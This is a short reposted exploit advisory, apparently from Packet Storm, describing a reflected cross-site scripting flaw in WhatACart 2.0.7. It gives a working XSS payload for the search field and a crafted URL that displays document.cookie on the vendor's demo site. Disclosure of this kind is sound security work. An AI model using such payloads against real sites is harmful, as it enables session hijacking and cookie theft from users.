WhatACart 2.0.7 Cross Site Scripting
2023-12-27 22:56:27 Author: packetstormsecurity.com(查看原文) 阅读量:8 收藏
2023-12-27 22:56:27 Author: packetstormsecurity.com(查看原文) 阅读量:8 收藏
# Exploit Title: WhatACart Version: 2.0.7 - Reflected XSS
# Date: 2023-12-27
# Exploit Author: tmrswrr
# Category : Webapps
# Vendor Homepage: https://whatacart.com
# Version: 2.0.7
# Tested on: https://whatacart.com/demo1 ) Go to this page : https://demo.whatacart.com/
2 ) Write search field this payload : <sVg/onLy=1 onLoaD=confirm(1)//
3 ) You will bee alert button : https://demo.whatacart.com/site/default/search?keyword=%3CsVg%2FonLy%3D1+onLoaD%3Dconfirm(document.cookie)%2F%2F&navsearch=
文章来源: https://packetstormsecurity.com/files/176314/whatacart207-xss.txt
如有侵权请联系:admin#unsafe.sh
如有侵权请联系:admin#unsafe.sh